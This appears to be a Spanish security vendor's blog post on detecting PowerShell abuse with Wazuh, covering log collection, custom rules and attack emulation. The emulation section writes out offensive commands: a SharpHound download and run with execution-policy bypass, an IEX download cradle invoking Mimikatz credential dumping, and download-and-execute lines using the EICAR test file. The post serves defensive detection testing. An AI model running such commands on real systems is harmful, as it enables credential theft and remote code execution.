PowerShell es una herramienta que probablemente has utilizado para tareas rutinarias de administración en Windows, pero ¿sabías que también es uno de los blancos favoritos de los ciberdelincuentes? Con su enorme versatilidad, PowerShell puede ser una puerta de entrada para ataques que pasan desapercibidos incluso para soluciones de seguridad avanzadas. La buena noticia es que, con las herramientas adecuadas, puedes detectar y bloquear estas amenazas antes de que causen daño. En este artículo, exploraremos cómo Wazuh te permite monitorear y proteger tu sistema contra técnicas de explotación maliciosa en PowerShell.
PowerShell es una de esas herramientas imprescindibles para los administradores de sistemas. Con ella puedes gestionar equipos con Windows, automatizar tareas y configurar prácticamente todo de manera rápida y eficiente. Su capacidad para crear scripts permite ahorrar tiempo y evitar los típicos errores que ocurren cuando haces todo manualmente. Es práctica, poderosa y, en definitiva, una aliada clave para mantener todo bajo control.
Pero esa misma versatilidad que la hace tan útil también la convierte en un blanco perfecto para los ciberdelincuentes. Los atacantes pueden aprovechar PowerShell para hacer cosas como ejecutar malware, descargar archivos maliciosos o robar información sensible, muchas veces sin que las herramientas antivirus tradicionales detecten nada. Por eso, monitorear cómo se usa PowerShell y asegurarte de que solo se ejecuten comandos autorizados es fundamental para mantener tus sistemas seguros. El marco de seguridad MITRE ATT&CK documenta varias técnicas que los atacantes suelen usar para abusar de PowerShell.
Wazuh utiliza la siguiente infraestructura para detectar técnicas de abuso de PowerShell en sistemas Windows. Básicamente, aquí está lo que se necesita para poner todo en marcha:
Ahora, para poder detectar actividades sospechosas en PowerShell, hay que hacer un par de cosas. Primero, es necesario habilitar y recolectar los registros de PowerShell en el equipo Windows que estamos monitoreando. Esto básicamente significa asegurarnos de que PowerShell nos deje rastros claros de lo que se está haciendo. Luego, configuramos reglas personalizadas en Wazuh para que pueda analizar esos registros y detectar comportamientos extraños. Aquí te dejamos un resumen claro de cómo configurar Wazuh para monitorear y detectar posibles abusos de PowerShell en un sistema Windows:
Habilitar el registro avanzado de PowerShell:
Configurar el agente de Wazuh:
Edita el archivo de configuración del agente ossec.conf y asegúrate de incluir las rutas necesarias para que los registros de PowerShell se envíen al servidor de Wazuh para su análisis.
Reinicia el agente:
Aplica los cambios reiniciando el servicio del agente con el comando Restart-Service -Name wazuh
.
Añadir reglas personalizadas:
Edita el archivo local_rules.xml y agrega reglas diseñadas para detectar actividades sospechosas en PowerShell, como comandos codificados, herramientas maliciosas conocidas, uso de Mshta, cambios en políticas de ejecución, o intentos de descarga con Invoke-WebRequest.
Reinicia el servidor Wazuh:
Aplica las nuevas reglas reiniciando el administrador de Wazuh con el comando systemctl restart wazuh-manager.
Invoke-WebRequest
.
Para comprobar que las reglas funcionan correctamente, puedes emular ciertos ataques en un entorno controlado. Estas pruebas utilizan técnicas documentadas en el marco MITRE ATT&CK para actividades maliciosas con PowerShell.
Te podrá interesar leer: ¿Qué es Wazuh?: Open Source XDR Open Source SIEM
PowerShell es una herramienta poderosa, pero también una de las favoritas de los atacantes. ¿Por qué? Porque les permite ejecutar comandos directamente en la memoria, lo que hace que sean más difíciles de detectar por los antivirus tradicionales. Con PowerShell, pueden manipular procesos del sistema, robar información sensible y realizar actividades maliciosas sin dejar rastros evidentes.
Por suerte, Wazuh incluye reglas preconfiguradas que ayudan a identificar cuando se están ejecutando este tipo de comandos maliciosos en tus sistemas.
SharpHound es una herramienta que los atacantes suelen usar para recolectar información crítica de un sistema. En este caso, se puede simular un ataque invocando SharpHound con los siguientes comandos:
curl "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/refs/heads/master/Collectors/SharpHound.ps1" -o SharpHound.ps1
powershell -ep bypass .\sharphound.ps1 --collectionmethod all
Cuando estos comandos se ejecutan, Wazuh genera alertas automáticas en su panel. Esto te permite saber de inmediato que alguien está intentando ejecutar algo sospechoso en tu sistema.
Otro ejemplo común es el uso de Mimikatz, una herramienta conocida por robar credenciales. Si un atacante intenta ejecutarla en tu sistema con un comando como este:
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
Windows Defender detectará y bloqueará la ejecución del comando por defecto. Sin embargo, Wazuh también levantará una alerta para que tengas visibilidad de lo que está pasando y tomes las medidas necesarias.
Los atacantes tienen varias formas de usar PowerShell para causar problemas, y una de las más comunes es lo que se conoce como "plataforma de descarga". Básicamente, esto consiste en descargar y ejecutar scripts o archivos maliciosos directamente desde Internet en un solo paso, todo sin dejar mucho rastro. Este truco es especialmente peligroso porque a menudo pasa por alto los controles de seguridad tradicionales basados en archivos, como los antivirus.
Aquí tienes un ejemplo de cómo un atacante podría usar PowerShell para descargar y ejecutar un archivo malicioso. En este caso, utilizamos el archivo de prueba de malware EICAR, que no es peligroso, pero nos sirve para simular un ataque. Solo necesitas ejecutar este comando:
powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://secure.eicar.org/eicar.com.txt'); .\eicar"
Cuando lo haces, Wazuh detectará esta actividad y activará una alerta en su panel para avisarte que algo sospechoso está ocurriendo.
Otra forma común de descargar y ejecutar cargas maliciosas es utilizando el comando Invoke-WebRequest. Por ejemplo, un atacante podría usar este comando para lograr lo mismo:
Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile eicar; .\eicar
Al igual que en el caso anterior, este tipo de actividad también activará una alerta en el panel de Wazuh, dándote visibilidad inmediata para tomar medidas.
Estas técnicas de descarga son increíblemente útiles para los atacantes porque les permiten introducir contenido malicioso en un sistema con muy poco esfuerzo y sin ser detectados fácilmente. Sin embargo, con Wazuh monitoreando tus sistemas, puedes identificar rápidamente estas actividades y detenerlas antes de que causen daño. Mantén un ojo en estas alertas y asegúrate de actuar rápido para proteger tus sistemas.
Conoce más sobre: Dashboard de Alertas y Notificaciones en Wazuh
Cuando los atacantes quieren que sus scripts pasen desapercibidos, recurren a técnicas de ofuscación. ¿Qué significa esto? Básicamente, camuflan sus comandos para que sean difíciles de entender tanto para los humanos como para las herramientas de seguridad. Por ejemplo, codifican los comandos para que parezcan inofensivos mientras, en realidad, están llevando a cabo acciones maliciosas como robar datos o descargar malware adicional.
Una de las formas más comunes de ofuscación es usar la bandera EncodedCommand de PowerShell. Esto les permite ejecutar un comando malicioso en formato codificado, haciendo que sea más difícil de detectar. Por ejemplo, el siguiente comando parece inofensivo, pero está codificado para imprimir "Hola mundo" en la pantalla:
powershell.exe -EncodedCommand "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAiAA=="
Cuando se ejecuta, Wazuh lo detecta y genera una alerta en su panel. Esto significa que, aunque el comando esté codificado, no pasa desapercibido.
Otra técnica que los atacantes adoran usar es la omisión de políticas de ejecución en PowerShell. Esta táctica les permite ignorar las restricciones que normalmente impiden que se ejecuten scripts no autorizados o no firmados. Usando la bandera -ExecutionPolicy Bypass (o variantes como exec bypass), los atacantes pueden ejecutar scripts maliciosos sin restricciones. Por ejemplo, un atacante podría crear un script simple y luego ejecutarlo ignorando las políticas de seguridad:
La ofuscación y la omisión de políticas son estrategias que buscan esconder las verdaderas intenciones de los atacantes y saltarse los controles de seguridad. Son comunes porque son efectivas y difíciles de detectar con herramientas de seguridad tradicionales.
PowerShell es una herramienta increíblemente útil para administrar y automatizar tareas en sistemas Windows, pero, como vimos, también puede convertirse en una puerta de entrada para los atacantes. Estos pueden usarla para ejecutar comandos maliciosos y, en algunos casos, incluso evadir la detección. Por eso es clave habilitar la auditoría de PowerShell y apoyarse en herramientas como Wazuh para identificar y bloquear estas actividades sospechosas a tiempo.
Wazuh es una de las herramientas clave que implementamos en nuestro SOC as a Service para monitorear y responder a incidentes de seguridad de forma proactiva. Su flexibilidad es clave, ya que puede implementarse tanto en infraestructura local como en la nube, lo que la convierte en una solución ideal para adaptarse a las necesidades específicas de tu organización. Si estás buscando fortalecer tu postura de seguridad, te invitamos a suscribirte a nuestro SOC.